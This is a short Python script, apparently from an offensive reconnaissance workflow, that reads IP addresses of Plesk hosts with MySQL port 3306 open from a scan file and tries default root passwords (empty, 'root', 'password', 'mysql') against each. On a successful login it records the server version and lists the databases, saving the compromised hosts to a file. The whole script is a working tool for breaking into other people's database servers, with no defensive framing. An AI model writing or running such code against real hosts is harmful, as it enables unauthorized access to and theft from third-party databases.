import json
import pymysql

ips = []
for line in open("/root/recon/final_probe.tsv"):
    if line.startswith("plesk_3306_open"):
        ips = line.rstrip("\n").split("\t")[2].split(",")
print("hosts", len(ips))

CREDS = [("root", ""), ("root", "root"), ("root", "password"), ("root", "mysql")]
hits = []
for ip in ips:
    for u, p in CREDS:
        try:
            c = pymysql.connect(host=ip, port=3306, user=u, password=p, connect_timeout=4, read_timeout=4)
            cur = c.cursor()
            cur.execute("select version()")
            v = cur.fetchone()
            cur.execute("show databases")
            dbs = [r[0] for r in cur.fetchall()]
            hits.append((ip, u, p, v[0] if v else "", len(dbs), ",".join(dbs[:8])))
            c.close()
            break
        except Exception:
            continue

print("auth ok:", len(hits))
for h in hits:
    print("\t".join(map(str, h)))
open("/root/recon/mysql_hits.tsv", "w").write("\n".join("\t".join(map(str, h)) for h in hits))
